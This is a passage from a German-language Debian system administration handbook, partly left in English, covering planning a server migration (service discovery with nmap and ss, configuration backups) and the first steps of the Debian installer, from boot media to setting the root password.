3.2. Migrationsvorgang

In order to guarantee continuity of the services, each computer migration must be planned and executed according to the plan. This principle applies regardless of which operating system is used.

3.2.1. Überprüfen und Identifizieren der Dienste

So einfach es auch scheint, dieser Schritt ist entscheidend. Ein professioneller Administrator kennt die primären Aufgaben jedes Servers genau. Solche Aufgaben können sich jedoch ändern, und manchmal haben erfahrene Nutzer vielleicht auch "wilde" Dienste installiert. Wenn man über sie Bescheid weiß, kann man zumindest entscheiden, was man mit ihnen machen will, anstatt sie nur einfach zu löschen.

Zu diesem Zweck ist es sinnvoll, Ihre Benutzer vor der Servermigration über das Projekt zu informieren. Um sie an dem Projekt zu beteiligen, könnte es nützlich sein, vor der Migration die am häufigsten verwendete freie Software auf denjenigen Desktops zu installieren, mit denen die Benutzer nach der Migration zu Debian später wieder arbeiten; LibreOffice und die Mozilla-Suite sind dafür die besten Beispiele.

3.2.1.1. Netzwerk und Prozesse

Das nmap Werkzeug (im gleichnamigen Paket) identifiziert schnell Internetdienste, die auf einer Maschine laufen und die über das Netzwerk verbunden sind, ohne dass ein Login benötigt wird. Man braucht nur das folgende Kommando auf einem anderen Rechner aufzurufen, der mit demselben Netzwerk verbunden ist:

$ nmap mirwiz Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-29 14:41 CEST Nmap scan report for mirwiz (192.168.1.104) Host is up (0.00062s latency). Not shown: 992 closed ports PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 5666/tcp open nrpe 9999/tcp open abyss Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds

ALTERNATIVE Use ss to find the list of available services

On a Linux machine, the ss -anptu command will show the list of active or pending TCP sessions, as well as UDP ports on which running programs are listening. This facilitates identification of services offered on the network.

Vertiefung / Weiterführende Informationen IPv6

Some network commands may work either with IPv4 (the default usually) or with IPv6. These include the nmap and ss commands, but also others, such as route or ip. The convention is that this behavior is enabled by the -6 command-line option.

If the server is a Unix machine offering shell accounts to users, it is interesting to determine if processes are executed in the background in the absence of their owner. The command ps auxw displays a list of all processes with their user identity. By checking this information against the output of the who or w commands, which give a list of logged in users, it is possible to identify rogue or undeclared servers or programs running in the background. Looking at crontabs (tables listing automatic actions scheduled by users) will often provide interesting information on functions fulfilled by the server (a complete explanation of cron is available in Abschnitt 9.7, „Aufgaben mit cron und atd zeitlich festlegen“).

In jedem Fall ist es absolut unerlässlich, Sicherheitskopien des eigenen Servers anzulegen. Dadurch ist es möglich, Informationen wiederherzustellen, falls Benutzer Probleme aufgrund der Migration melden.

3.2.2. Konfiguration sichern

Es wird empfohlen, die Konfiguration jedes verwendeten Dienstes zu sichern, um ihn identisch auf dem aktualisierten Server einrichten zu können. Zumindest sollte eine Datensicherung der Konfigurationsdateien vorliegen.

Für Unix-Maschinen befinden sich die Konfigurationsdateien gewöhnlich in /etc/. Sie können sich aber auch in einem Unterverzeichnis von /usr/local/ befinden. Dies ist der Fall, wenn ein Programm durch Kompilieren des Quellcodes installiert wird. In einigen Fällen sind die Dateien auch unter /opt/ zu finden.

Bei Diensten, die Daten verwalten (wie zum Beispiel Datenbanken), wird dringend empfohlen, die Daten in ein standardisiertes Format zu exportieren, das durch die neue Software problemlos wieder importiert werden kann. Ein solches Format ist üblicherweise dokumentiert und liegt als Textdatei vor. So kann es beispielsweise als SQL Dump bei einer Datenbank oder als LDIF-Datei für einen LDAP-Server vorliegen.

Abbildung 3.2. Datenbanksicherungen

Jede Serversoftware ist unterschiedlich, und es ist unmöglich, alle denbaren Fälle im Detail zu beschreiben. Lesen Sie die Dokumentation der vorhandenen und von der neuen Software, um herauszufinden, welche Teile exportiert (und damit wieder reimportiert) werden können und welche manuelle Eingriffe erfordern. Das Ziel dieses Buches ist es, die Konfiguration der wichtigsten Serverprogramme unter Linux zu veranschaulichen.

3.2.3. Übernahme eines vorhandenen Debianservers

Um die Wartung erfolgreich zu übernehmen, kann man einen bereits mit Debian laufenden Server analysieren.

Die erste Datei, die man kontrollieren sollte, ist /etc/debian_version, welche üblicherweise die Versionsnummer des installierten Debian-Systems enthält (sie ist Teil des base-files-Pakets). Falls sie codename/sid beinhaltet, bedeutet dies, dass das System mit Paketen aktualisiert wurde, welche aus einem der beiden Entwicklungszweige (testing oder unstable) stammen.

Mit dem Kommando apt-show-versions (aus dem gleichnamigen Debian-Paket) überprüfen Sie die Liste der installierten Pakete und identifizieren die verfügbaren Versionen. Für diesen Zweck kann auch aptitude benutzt werden, wenn auch in einer weniger systematischen Art und Weise.

Ein kurzer Blick auf die Datei /etc/apt/sources.list (und das Verzeichnis /etc/apt/sources.list.d/ ) zeigt, woher die installierten Debian-Pakete kamen. Falls viele unbekannte Quellen erscheinen, könnte es der Administrator vorziehen, das Betriebssystem komplett neu zu installieren, um die optimale Kompatibilität zu gewährleisten, welche durch die Software von Debian sichergestellt wird.

The sources.list file is often a good indicator: the majority of administrators keep, at least in comments, the list of APT sources that were previously used. But you should not forget that sources used in the past might have been deleted, and that some random packages grabbed on the Internet might have been manually installed (with the help of the dpkg command). In this case, the machine is misleading in its appearance of being a “standard” Debian system. This is why you should pay attention to any indication that will give away the presence of external packages (appearance of deb files in unusual directories, package version numbers with a special suffix indicating that it originated from outside the Debian project, such as ubuntu or lmde, etc.).

Genauso interessant ist es, den Inhalt des Verzeichnisses /usr/local/ zu analysieren. Dieses Verzeichnis ist gedacht für Programme, die manuell kompiliert und installiert wurden. Eine Auflistung von Software, die auf diese Weise installiert wurde, ist lehrreich, denn es stellt sich die Frage nach den Gründen, warum nicht das entsprechende Debian-Paket benutzt wurde (falls ein solches existiert).

QUICK LOOK cruft/cruft-ng, debsums, and apt-show-versions

Die Pakete cruft und cruft-ng schlägt vor, die verfügbaren Dateien aufzulisten, die nicht zu einem Paket gehören. Sie haben einige Filter (mehr oder weniger effektiv und mehr oder weniger aktuell), um zu vermeiden, dass legitime Dateien (solche, die von Debian-Paketen generiert werden oder generierte Konfigurationsdateien, die nicht von dpkg usw. gemanagt werden) aufgeführt werden.

Seien Sie vorsichtig und löschen Sie nicht blind alles, was cruft und cruft-ng aufführen könnte!

Das Paket debsums ermöglicht es, den MD5-Hash jeder von einem Paket installierten Datei mit einem Referenzhash zu überprüfen und zu bestimmen, welche Dateien möglicherweise geändert wurden (siehe TIPP Suche nach geänderten Dateien). Beachten Sie, dass erstellte Dateien (von Debian-Paketen generierte Dateien oder generierte Konfigurationsdateien, die nicht von dpkg usw. verwaltet werden) dieser Prüfung nicht unterliegen.

Das Paket apt-show-versions ermöglicht es, nach installierten Paketen ohne Paketquelle zu suchen und kann helfen, Pakete von Drittanbietern zu bestimmen (siehe Abschnitt 6.7.3.1, „Aus dem Debian-Archiv entfernte Pakete“).

3.2.4. Installation von Debian

Da nun alle Informationen über den bestehenden Server bekannt sind, können wir ihn herunterfahren und dann Debian darauf installieren.

Um die passende Version auszuwählen, müssen wir die Systemarchitektur kennen. Wenn es ein einigermaßen aktueller PC ist, dann wird es sehr wahrscheinlich ein amd64 (bei älteren PCs eher ein i386)-Prozessor sein. In anderen Fällen können wir die Möglichkeiten entsprechend dem zuvor genutzten System eingrenzen.

Es ist nicht vorgesehen, dass Tabelle 3.1 vollständig ist, aber es kann hilfreich sein. Beachten Sie, dass es Debian-Architekturen auflistet, die in der aktuellen stabilen Version nicht mehr unterstützt werden. In jedem Fall ist die Originaldokumentation die verlässlichste Quelle, um diese Informationen zu finden.

Tabelle 3.1. Passende Betriebssysteme und Architektur

Betriebssystem | Architektur(en)
DEC Unix (OSF/1) | alpha, mipsel
HP Unix | ia64, Hppa
IBM AIX | powerpc
Irix | mips
OS X | amd64, powerpc, i386
z/OS, MVS | s390x, s390
Solaris, SunOS | sparc, i386, m68k
Ultrix | mips
VMS | alpha
Windows 95/98/ME | i386
Windows NT/2000 | i386, alpha, ia64, mipsel
Windows XP / Windows Server 2008 | i386, amd64, ia64
Windows RT | armel, armhf, arm64
Windows Vista / Windows 7-8-10 | i386, amd64

HARDWARE 64 bit PC gegen 32 bit PC

Die meisten aktuellen Computer besitzen 64-bit-Intel- oder -AMD-Prozessoren, die kompatibel zu älteren 32-bit-Prozessoren sind; daher läuft auf ihnen Software, die für die i386-Architektur übersetzt wurde. Andererseits werden durch diesen Kompatibilitätsmodus die Möglichkeiten dieser neuen Prozessoren nicht vollständig genutzt. Deshalb liefert Debian die amd64-Architektur, die für jüngere AMD-Chips ganauso funktioniert, wie für Intel-em64t-Prozessoren (einschließlich der meisten der Core-Serien), die dem AMD64 Prozessor sehr ähnlich sind.

3.2.5. Installation und Einrichtung der ausgewählten Dienste

Nach der Installation von Debian müssen wir Stück für Stück die Dienste installieren und einrichten, die auf diesem Computer laufen müssen. Die neue Konfiguration muss sich an der vorherigen orientieren, um einen reibungslosen Übergang zu gewährleisten. Alle in den beiden ersten Schritten gesammelten Informationen werden nützlich sein, um diesen Teil erfolgreich abzuschließen.

Abbildung 3.3. Installation der ausgewählten Dienste

Bevor man sich Hals über Kopf auf diese Aufgabe stürzt, sollte man unbedingt den Rest dieses Buches lesen. Danach wird man ein genaueres Verständnis davon haben, wie die erwarteten Dienste einzurichten sind.

Kapitel 4. Installation

Um Debian benutzen zu können, müssen Sie es auf einem Rechner installieren; diese Aufgabe wird durch das Programm debian-installer erledigt. Eine einwandfreie Installation umfasst zahlreiche Arbeitsgänge. Dieses Kapitel behandelt sie in ihrer chronologischen Reihenfolge.

ZURÜCK ZU DEN GRUNDLAGEN Ein Auffrischungskurs im Anhang

Es ist immer einfacher, einen Rechner einzurichten, wenn Sie mit seiner Funktionsweise vertraut sind. Falls Sie es nicht sind, machen Sie einen kurzen Abstecher zu Anhang B, Kurzer Förderkurs, bevor Sie dieses Kapitel lesen.

Das Installationsprogramm für Bullseye basiert auf debian-installer. Aufgrund seines modularen Designs ist es in der Lage, in verschiedenen Szenarien zu arbeiten, sich weiterzuentwickeln und sich auf Änderungen einzustellen. Trotz der Einschränkungen, die sich aus der Notwendigkeit ergeben, eine große Anzahl von Architekturen zu unterstützen, ist das Installationsprogramm für Anfänger leicht verständlich, da es Benutzer in jeder Phase des Prozesses unterstützt. Automatische Hardware-Erkennung, geführte Partitionierung und grafische Schnittstellen haben die meisten der Probleme gelöst, denen Anfänger in den Anfangsjahren von Debian gegenüberstanden.

Eine Installation erfordert 256 MB RAM (Random Access Memory = Arbeitsspeicher) und wenigstens 2 GB Festplattenspeicher. Alle Falcot Computer erfüllen diese Kriterien. Beachten Sie jedoch, dass diese Werte für die Installation eines sehr begrenzten Systems ohne grafische Arbeitsfläche gelten. Für einen einfachen Arbeitsplatzrechner werden 2 GB RAM und mindestens 10 GB Festplattenspeicher empfohlen.

VORSICHT beim Upgrade von Buster

Falls Sie bereits Debian Bullseye auf Ihrem Rechner installiert haben, ist dieses Kapitel nicht für Sie! Im Gegensatz zu anderen Distributionen ermöglicht Debian die Aktualisierung eines Systems von einer Version zur nächsten, ohne das System neu installieren zu müssen. Eine Neuinstallation wäre nicht nur überflüssig, sondern könnte sogar gefährlich sein, da hierbei bereits installierte Programme entfernt werden könnten.

Der Upgrade-Prozess wird in Abschnitt 6.7, „Von einer Stable Distribution auf die nächste aktualisieren“ beschrieben.

Das direkte Hochziehen von einer noch älteren Debian Version wird nicht unterstützt. In solch einem Fall müssen Sie schrittweise zur nächsten stabilen Release-Version hochpatchen. Vorherige Versionen dieses Buches werden Sie dabei begleiten.

4.1. Installationsmethoden

Ein Debian-System kann mithilfe unterschiedlicher Medien installiert werden, sofern das BIOS/UEFI (siehe NOTIZ UEFI, ein moderner BIOS-Ersatz) des Rechners es unterstützt. Sie können zum Beispiel mit einer CD-ROM, einem USB-Stick oder sogar über das Netzwerk booten.

4.1.1. Von einer CD-ROM/DVD-ROM installieren

Meist wird eine CD als Installationsmedium benutzt (oder eine DVD-ROM, die sich genauso verhält): Der Rechner wird von diesem Medium hochgefahren, und das Installationsprogramm übernimmt.

Verschiedene CD-ROM-Varianten haben unterschiedliche Zielsetzungen: netinst (Netzwerkinstallation) enthält das Installationsprogramm und ein grundlegendes Debian-System; alle anderen Programme werden heruntergeladen. Sein „Image“, ein ISO-9660-Dateisystem, das genau den gleichen Inhalt hat wie die Festplatte, beansprucht abhängig von der Architektur nur etwa 150 bis 280 MB. Andererseits bietet das vollständige Set alle Pakete und ermöglicht eine Installation auf einem Rechner ohne Internetzugang; es benötigt etwa 19 DVD-ROMs (beziehungsweise (oder 4 Blu-rays). Es gibt kein offizielles CD-ROM-Set mehr, da sie wirklich riesig waren, selten verwendet wurden und jetzt verwenden die meisten Computer DVD-ROMs sowie CD-ROMs. Die Programme sind nach Popularität und Wichtigkeit auf die Scheiben verteilt; der erste Datenträger reicht für die meisten Installationen aus, da er die meistgenutzten Programme enthält.

Als letzter Imagetyp ist das mini.iso zu nennen, das als Nebenprodukt des Installers verfügbar ist. Das Image enthält lediglich das Minimum dessen, was für die Netzwerk-Konfiguration benötigt wird und alles übrige wird heruntergeladen (einschließlich Teilen des Installationsprogramms selbst, weshalb diese Images bei der Veröffentlichung einer neuen Version des Installationsprogramms häufig beschädigt werden). Diese Abbilder finden sich auf einem normalen Debian-Spiegel im Verzeichnis dists/release/main/installer-arch/current/images/netboot/.

TIP Multiarchitektur-Datenträger

Die meisten Installations-CD-ROMs und -DVD-ROMs funktionieren nur mit einer spezifischen Hardwarearchitektur. Wenn Sie die vollständigen Images herunterladen möchten müssen Sie darauf achten, dass Sie diejenigen auswählen, die auf der Hardware des Rechners funktionieren auf dem Sie sie installieren möchten.

Einige CD/DVD-ROM-Images funktionieren auf mehreren Architekturen. Es gibt daher ein CD-ROM-Image, das die Netinst-Images der i386- und der amd64-Architektur kombiniert.

Um Debian CD-ROM-Images zu erhalten, können Sie sie natürlich herunterladen und brennen. Sie können sie auch kaufen und so dem Projekt eine kleine finanzielle Unterstützung gewähren. Auf der folgenden Webseite finden Sie eine Liste der Verkäufer von DVD-ROM-Images sowie Download-Seiten.

→ https://www.debian.org/CD/

4.1.2. Von einem USB-Stick hochfahren

Nachdem die meisten Rechner auch von einem USB-Gerät booten können, lässt sich Debian auch von einem USB-Stick installieren (, da der nichts anderes als eine kleine Flash-Disk ist).

Das Installationshandbuch erklärt, wie man einen USB-Stick erstellt, der den debian-installer enthält. Das Vorgehen ist sehr einfach, da die ISO-Images für i386- und amd64 jetzt Hybrid-Images sind, die von einer CD-ROM ebenso wie von einem USB-Stick starten können.

Sie müssen zunächst den Gerätenamen des USB-Sticks feststellen (zum Beispiel /dev/sdb); am einfachsten ist es, hierzu die vom Kernel verschickten Mitteilungen mit dem Befehl dmesg zu überprüfen. Dann müssen Sie das zuvor heruntergeladene ISO-Image (zum Beispiel debian-11.0.0-amd64-netinst.iso) mit dem Befehl cat debian-11.0.0-amd64-netinst.iso >/dev/sdb; sync kopieren. Dieser Befehl erfordert Administratorrechte, da er direkt auf den USB-Stick zugreift und blindlings seinen Inhalt löscht.

Eine ausführlichere Erläuterung findet sich im Installationshandbuch. Unter anderem beschreibt sie eine alternative Methode zur Vorbereitung eines USB-Sticks, die zwar komplizierter ist, es jedoch erlaubt, die voreingestellten Optionen des Installationsprogramms (die in der Kernel-Befehlszeile angegeben sind) anzupassen.

→ https://www.debian.org/releases/stable/amd64/ch04s03

4.1.3. Installieren durch Booten über ein Netzwerk

Viele BIOS-Konfigurationen ermöglichen es, den Rechner direkt aus dem Netzwerk durch das Herunterladen eines Kernels und eines minimalen Filesystems hochzufahren. Diese Methode (die verschiedene Namen hat, wie zum Beispiel PXE- oder TFTP-Boot) kann die Rettung sein, wenn der Rechner kein CD-ROM-Laufwerk hat, oder wenn das BIOS nicht von derartigen Medien hochfahren kann.

Diese Installationsmethode verläuft in zwei Schritten. Während der Rechner hochfährt, verschickt das BIOS (oder die Netzwerkkarte) zunächst einen BOOTP/DHCP Request, um automatisch eine IP-Adresse zu beziehen. Wenn ein BOOTP- oder DHCP-Server eine Antwort zurückschickt, enthält diese sowohl einen Dateinamen als auch Netzwerkeinstellungen. Sobald der Client-Computer das Netzwerk konfiguriert hat, fordert er über das TFTP (Trivial File Transfer Protocol) die Datei an, deren Namen zuvor angegeben wurde. Sobald diese Datei verfügbar ist, wird sie als Boot-Loader ausgeführt. Dieser startet dann das Debian-Installationsprogramm, das ausgeführt wird, als würde es von einer Festplatte, einer CD-ROM oder einem USB-Stick laufen.

Alle Einzelheiten dieser Methode sind in der Installationsanleitung beschrieben (im Abschnitt „Dateien vorbereiten für TFTP-Netzwerk-Boot“).

→ https://www.debian.org/releases/stable/amd64/ch05s01#boot-tftp-x86

→ https://www.debian.org/releases/stable/amd64/ch04s05

4.1.4. Andere Installationsmethoden

Wenn wir angepasste Installationen auf einer großen Anzahl von Rechnern einrichten müssen, verwenden wir normalerweise eine automatische statt einer manuellen Installationsmethode. Je nach Situation und Komplexität der durchzuführenden Installationen können wir den FAI (Fully Automatic Installer, beschrieben in Abschnitt 12.3.1, „Fully Automatic Installer (FAI)“) oder sogar eine speziell angepasste Installations-DVD mit Preseeding (siehe Abschnitt 12.3.2, „Das Debian-Installationsprogramm voreinstellen“) verwenden.

Es sollte auch erwähnt werden, dass der Installer einen SSH-Server laden und starten kann, der es ermöglicht Debian remote über eine SSH-verbindung zu installieren. Die Veröffentlichungshinweise beschreiben auch, wie der Installer mithilfe von grub bei einem vorhandenen System gestartet werden kann, um es vollständig zu erstezen.

4.2. Installieren, Schritt für Schritt

4.2.1. Booten und Starten des Installationsprogramms

Sobald das BIOS damit begonnen hat, von der CD-ROM oder DVD-ROM hochzufahren, erscheint das Menü des Isolinux Boot-Loaders. Zu diesem Zeitpunkt ist der Linux-Kernel noch nicht geladen; das Menü ermöglicht es Ihnen, den zu ladenden Kernel auszuwählen und mögliche Parameter einzugeben, die an ihn im Verlauf des Vorgangs weitergeleitet werden sollen.

Für eine Standardinstallation müssen Sie nur "Installieren" oder "Grafische Installation" wählen (mit den Pfeiltasten) und dann die Eingabetaste drücken, um den Rest des Installationsvorgangs zu initiieren. Wenn es sich bei der DVD-ROM um ein "Multi-Arch"-Medium handelt und das Gerät über einen Intel- oder AMD-64-Bit-Prozessor verfügt, ermöglichen diese Menüoptionen die Installation der 64-Bit-Variante (amd64) und die Installation der 32-Bit-Variante bleibt in einem dedizierten Untermenü verfügbar ("32-Bit-Installationsoptionen"). Wenn Sie einen 32-Bit-Prozessor besitzen, haben Sie keine Wahl und die Menüeinträge installieren die 32-Bit-Variante (i386).

WEITERFÜHRENDE INFORMATIONEN 32 oder 64 Bits?

Der wesentliche Unterschied zwischen 32- und 64-Bit-Systemen besteht im Ausmaß der Speicheradressen. Theoretisch kann ein 32-Bit-System nicht mit mehr als 4 GB RAM arbeiten (2³² Bytes). Tatsächlich lässt sich diese Beschränkung umgehen, indem man die 686-pae-Kernelvariante benutzt, sofern der Prozessor die PAE-Funktionsweise (Physical Address Extension) unterstützt. Ihre Verwendung hat indes einen bemerkenswerten Einfluss auf die Systemgeschwindigkeit. Daher ist es sinnvoll, den 64-Bit-Modus auf einem Server mit sehr viel Arbeitsspeicher zu benutzen.

Bei einem Arbeitsplatzrechner (bei dem ein Leistungsunterschied von wenigen Prozenten unerheblich ist) sollten Sie berücksichtigen, dass einige proprietäre Programme nicht in 64-Bit-Versionen verfügbar sind. Es ist technisch möglich, sie auf 64-Bit-Systemen zum Laufen zu bringen, aber dazu müssen Sie die 32-Bit-Versionen der erforderlichen Programmbibliotheken installieren (siehe Abschnitt 5.4.5, „Multi-Arch Unterstützung“), und manchmal müssen Sie setarch oder linux32 (aus dem Paket util-linux) verwenden, um Anwendungen über das tatsächliche System hinweg zu täuschen.

IN DER PRAXIS Installation neben einem existierenden Windows-System

Falls auf dem Rechner bereits Windows läuft, ist es nicht erforderlich, das System zu löschen, um Debian zu installieren. Sie können beide Systeme gleichzeitig nutzen, indem jedes auf einer eigenen Platte oder Partition installiert wird und beim Hochfahren des Rechners wählen Sie aus, welches Sie starten möchten. Diese Konfiguration wird häufig als „Dualboot“ bezeichnet, und das Debian-Installationssystem kann es einrichten. Dies geschieht in der Installationsphase der Festplattenpartitionierung, während der Boot-Loader eingerichtet wird (siehe die Seitenleisten in IN DER PRAXIS Eine Windows-Partition verkleinern und VORSICHT Boot-Loader und Dual-Boot).

Falls Sie bereits ein funktionierendes Windows-System haben, können Sie sogar auf die CD-ROM verzichten; Debian bietet ein Windows-Programm an, das ein einfaches Debian-Installationsprogramm herunterlädt und auf der Festplatte installiert. Sie brauchen dann nur den Rechner neu zu starten und zwischen einem normalen Windows-Start und dem Start des Installationsprogramms zu wählen. Sie finden es auch auf einer dafür eingerichteten Webseite unter einem ziemlich ironischen Titel...

→ https://deb.debian.org/debian/tools/win32-loader/stable/

→ https://people.debian.org/~rmh/goodbye-microsoft/

ZURÜCK ZU DEN GRUNDLAGEN Boot-Lader

Der Boot-Loader ist ein Programm auf niedriger Systemebene, der für das Laden des Linux-Kernels zuständig ist, unmittelbar nachdem das BIOS seine Kontrolle abgegeben hat. Um diese Aufgabe zu erledigen, muss er in der Lage sein, den zu ladenden Kernel auf der Platte zu finden. Bei i386/amd64-Architekturen sind LILO, das ältere der beiden, und GRUB, der moderne Nachfolger, die für diese Aufgabe am häufigsten verwendeten Programme. Isolinux und Syslinux sind Alternativen, die häufig zum Hochfahren von Wechseldatenträgern aus verwendet werden.

Hinter jedem Menü-Eintrag verbirgt sich eine bestimmte Boot-Befehlszeile, die nach Bedarf konfiguriert werden kann, indem man die TAB-Taste drückt, den Eintrag überprüft und anschließend weiter hochfährt. Der Menü-Eintrag „Help“ zeigt die alte Befehlszeilenschnittstelle an, bei der die F1- bis F10-Tasten verschiedene Hilfefenster mit Einzelheiten zu den unterschiedlichen Optionen anzeigen, die an der Eingabeaufforderung zur Verfügung stehen. Sie werden diese Option nur selten benötigen, außer in sehr besonderen Fällen.

Der „Experten“-Modus (erreichbar über das Menü „Advanced Options“) zeigt ausführlich alle Optionen, die während des Installationsprozesses verwendet werden können, und erlaubt es, die einzelnen Schritte anzusteuern, ohne dass diese automatisch in der vorgegebenen Reihenfolge ablaufen. Seien Sie vorsichtig: dieser sehr ausführliche Modus kann aufgrund der Vielzahl an Konfigurationsmöglichkeiten verwirrend sein.

Der "Wiederherstellungsmodus", der im Abschnitt "Advanced Otions" gewählt werden kann, ermöglicht das Wiederherstellen eines beschädigten Systems sowie die Wiederherstellung des Bootloaders.

→ https://www.debian.org/releases/stable/amd64/ch08s06.en.html

Abbildung 4.1. Startbildschirm

Nach dem Start führt Sie das Installationsprogramm Schritt für Schritt durch den Ablauf. In diesem Abschnitt zeigen wir jeden dieser Schritte im Detail. Wir tun das anhand der Installation von einer amd64 DVD-ROM (genauer, anhand der RC3-Version des Installationsprogramms für Bullseye); netinst-Installationen bzw. die endgültige Version des Installationsprogramms können davon etwas abweichen. Wir werden auch die Installation im grafischen Modus ansprechen, aber sie unterscheidet sich nur im Aussehen von einer „klassischen“ (Text-Modus-) Installation.

4.2.2. Die Sprache wählen

Das Installationsprogramm beginnt in Englisch, jedoch ermöglicht der erste Schritt es dem Benutzer, die Sprache zu wählen, die im weiteren Verlauf verwendet wird. Zum Beispiel wird nach der Wahl von Deutsch eine vollständig ins Deutsche übersetzte Installation (und als Ergebnis ein auf Deutsch konfiguriertes System) bereitgestellt. Diese Wahl dient auch dazu, in den anschließenden Schritten passendere Voreinstellungen festzulegen (insbesondere die Tastaturbelegung).

ZURÜCK ZU DEN GRUNDLAGEN Mit der Tastatur navigieren

Bei einigen Schritten des Installationsprozesses müssen Sie Informationen eingeben. Diese Bildschirme haben mehrere Bereiche, die „im Fokus liegen“ können (Bereiche zur Texteingabe, Kästchen zum Ankreuzen, Auswahllisten, OK oder Abbruch Schaltflächen), und zwischen denen Sie sich mit der TAB-Taste hin- und herbewegen können.

Im grafischen Modus können Sie die Maus so verwenden, wie Sie es von Ihrem installierten Desktop gewohnt sind.

Abbildung 4.2. Die Sprache wählen

4.2.3. Das Land wählen

Der zweite Schritt besteht darin, Ihr Land auszuwählen. In Kombination mit der Sprache ermöglicht diese Information es dem Programm, die geeignetste Tastaturbelegung anzubieten. Es hat auch Auswirkungen auf die Einstellung der Zeitzone.

Abbildung 4.3. Das Land wählen

4.2.4. Die Tastaturbelegung auswählen

Die vorgeschlagene Tastaturbelegung „Deutsch“ entspricht der normalen QWERTZ-Belegung.

Abbildung 4.4. Auswahl der Tastatur

4.2.5. Hardwareerkennung

Dieser Schritt läuft in der weit überwiegenden Anzahl von Fällen völlig selbstständig ab. Das Installationsprogramm erkennt Ihre Hardware und versucht, das verwendete CD-ROM-Laufwerk zu identifizieren, um auf seinen Inhalt zuzugreifen. Es lädt die Module entsprechend der jeweils erkannten Hardwarekomponenten und „hängt“ dann die CD-ROM „ein“, um sie zu lesen. Die bisherigen Schritte waren vollständig in dem auf der CD enthaltenen Boot-Image enthalten, einer Datei begrenzter Größe, die vom BIOS während des Hochfahrens von der CD in den Arbeitsspeicher geladen wurde.

Das Installationsprogramm kommt mit der weit überwiegenden Mehrzahl von Laufwerken zurecht, insbesondere mit den standardmäßigen ATAPI-Peripheriegeräten (manchmal auch als IDE und EIDE bezeichnet). Falls aber die Erkennung des CD-ROM-Laufwerks fehlschlägt, bietet das Installationsprogramm an, ein zum CD-ROM-Treiber passendes Kernelmodul (zum Beispiel von einem USB-Stick) zu laden.

4.2.6. Komponenten laden

Nachdem nun der Inhalt der CD verfügbar ist, lädt das Installationsprogramm alle für seine weitere Arbeit erforderlichen Dateien. Hierzu gehören zusätzliche Treiber für die übrige Hardware (vor allem die Netzwerkkarte) wie auch alle Komponenten des Installationsprogramms.

4.2.7. Netzwerk-Hardware erkennen

Dieser automatische Schritt versucht die Netzwerkkarte zu erkennen und das entsprechende Modul zu laden. Schlägt die automatische Erkennung fehl, so können Sie manuell das zu ladende Modul auswählen. Falls kein Modul passt, ist es möglich, ein spezifisches Modul von einem Wechseldatenträger zu laden. Diese letzte Lösung ist normalerweise nur erforderlich, falls kein passender Treiber im standardmäßigen Linux-Kernel enthalten ist, aber an anderer Stelle zur Verfügung steht, beispielsweise auf der Webseite des Herstellers.

→ https://www.debian.org/devel/debian-installer/#firmware_nonfree

Dieser Schritt muss bei netinst-Installationen auf jeden Fall erfolgreich sein, da die Debian-Pakete aus dem Netzwerk geladen werden müssen.

4.2.8. Konfigurieren des Netzwerks

In dem Bestreben, den Vorgang möglichst weitgehend zu automatisieren, unternimmt das Installationsprogramm den Versuch einer automatischen Netzwerkkonfiguration durch DHCP (bei IPv4) oder durch Netzwerkerkennung (bei IPv6). Falls dieser fehlschlägt, bietet es mehrere Wahlmöglichkeiten an: es ein weiteres Mal mit einer normalen DHCP-Konfiguration zu versuchen, eine DHCP-Konfiguration mit Angabe des Rechnernamens zu probieren, oder eine statische Netzwerkkonfiguration einzurichten.

Diese letzte Option erfordert die Angabe einer IP-Adresse, einer Subnetzmaske, einer IP-Adresse für ein eventuelles Gateway und eines Domain-Namens.

TIP Konfiguration ohne DHCP

Falls das lokale Netzwerk mit einem DHCP-Server ausgestattet ist, den Sie nicht benutzen möchten, da Sie stattdessen im Verlauf der Installation für den Rechner lieber eine statische IP-Adresse festlegen möchten, können Sie beim Hochfahren vom Installations-Medium die Option netcfg/use_dhcp=false hinzufügen. Sie müssen nur durch Drücken der TAB-Taste zu dem gewünschten Menü-Eintrag gehen und die gewünschte Option hinzufügen, bevor Sie dann die Enter-Taste drücken.

VORSICHT Nicht improvisieren

Viele lokale Netzwerke beruhen auf der impliziten Annahme, dass allen Rechnern vertraut werden kann, und die unzureichende Konfiguration eines einzelnen Rechners kann häufig das gesamte Netzwerk durcheinanderbringen. Deshalb sollten Sie Ihren Rechner nicht mit einem Netzwerk verbinden, ohne sich vorher mit dem Administrator über die passenden Einstellungen geeinigt zu haben (zum Beispiel die IP-Adresse, die Netzmaske und die Broadcast-Adresse).

4.2.9. Administrator-Passwort

Das Root-Konto des Superusers ist für den Administrator des Rechners reserviert und wird während der Installation automatisch erstellt; deshalb wird ein Passwort angefordert. Der Installer fragt auch nach einer Bestätigung des Passworts, um Eingabefehler zu verhindern, die später nur schwer zu berichtigen wären. Beachten Sie, dass Sie beide Felder leer lassen können, wenn das root-Konto deaktiviert werden soll. In diesem Fall wird der Login für root deaktiviert und der erste reguläre Benutzer, der im nächsten Schritt vom Installationsprogramm erstellt wird, erhält Administratorrechte über sudo (siehe Abschnitt 8.9.4, „Administratorrechte gemeinsam nutzen“).

SICHERHEIT Administrator-Passwort

Das Passwort des Root-Users sollte lang (12 Zeichen oder mehr) und nicht zu erraten sein. In der Tat ist jeder mit dem Internet verbundene Rechner (und erst recht jeder Server) regelmäßig das Ziel automatischer Verbindungsversuche mit am meisten naheliegenden Passwörtern. Manchmal kann er sogar einem Wörterbuchangriff ausgesetzt sein, bei dem viele Kombinationen von Wörtern und Zahlen als Passwörter ausprobiert werden. Vermeiden Sie es, die Namen von Kindern oder Eltern, Geburtstage und so weiter zu benutzen: viele Ihrer Kollegen kennen sie möglicherweise und Sie möchten ihnen selten unbegrenzten Zugang zu dem betreffenden Rechner geben.

Diese Anmerkungen gelten in gleicher Weise für andere Benutzerkennwörter, aber die Folgen eines kompromittierten Kontos sind für Benutzer ohne Administrator-Rechte weniger einschneidend.

Falls Ihnen nichts einfällt, sollten Sie nicht zögern, einen Passwort-Generator wie pwgen (im Paket gleichen Namens) zu verwenden.

Abbildung 4.5. Administrator-Passwort

4.2.10. Den ersten Benutzer erstellen

